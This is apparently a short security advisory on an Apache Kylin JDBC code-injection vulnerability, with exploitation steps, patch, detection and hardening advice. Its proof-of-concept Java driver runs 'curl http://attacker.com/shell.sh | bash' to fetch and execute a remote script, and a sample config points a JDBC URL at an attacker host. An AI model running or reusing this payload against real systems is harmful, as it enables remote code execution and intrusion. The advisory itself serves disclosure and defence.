How the CVE Works:
The vulnerability (CVE-2025-XXXX) in Apache Kylin arises from improper validation of JDBC configuration inputs. Attackers with admin-level access can manipulate JDBC connection settings to inject malicious code. By altering the JDBC URL, driver class, or credentials, an attacker can force Kylin to execute arbitrary Java code during database interactions. This occurs because Kylin dynamically loads JDBC drivers without proper sandboxing, allowing remote code execution (RCE) if the attacker controls the configuration. The flaw affects Kylin versions 4.0.0 through 5.0.1, requiring admin privileges for exploitation.
DailyCVE Form:
Platform: Apache Kylin
Version: 4.0.0 – 5.0.1
Vulnerability: Code Injection
Severity: Low
Date: Mar 27, 2025
What Undercode Say:
Exploitation:
- Privilege Escalation: Gain Kylin admin access via phishing or weak credentials.
- JDBC Tampering: Modify JDBC config to point to a malicious driver:
{ "url": "jdbc:mysql://attacker.com/malicious", "driver": "com.attacker.ExploitDriver" } - RCE Trigger: Kylin loads the rogue driver, executing attacker-supplied code.
Protection:
1. Patch: Upgrade to Kylin 5.0.2+.
2. Access Control: Restrict admin permissions via RBAC.
3. Input Validation: Sanitize JDBC configs before processing.
Detection Commands:
Check Kylin version: curl -s http://kylin-server:7070/api/version | grep "version"
Mitigation Script (Pre-Patch):
// Validate JDBC URL against allowlist:
if (!jdbcUrl.matches("^jdbc:(mysql|postgresql)://trusted-db\.com/.")) {
throw new SecurityException("Invalid JDBC URL");
}
Log Analysis:
Monitor Kylin logs for JDBC changes: grep "JDBC configuration updated" /var/log/kylin/kylin.log
Network Hardening:
Block outbound JDBC to untrusted hosts: iptables -A OUTPUT -p tcp --dport 3306 -j DROP
Exploit PoC (Educational Only):
// Malicious JDBC driver:
public class ExploitDriver implements Driver {
static { Runtime.getRuntime().exec("curl http://attacker.com/shell.sh | bash"); }
}
References:
References:
Reported By: https://github.com/advisories/GHSA-29m8-wh9p-5wc4
Extra Source Hub:
Undercode
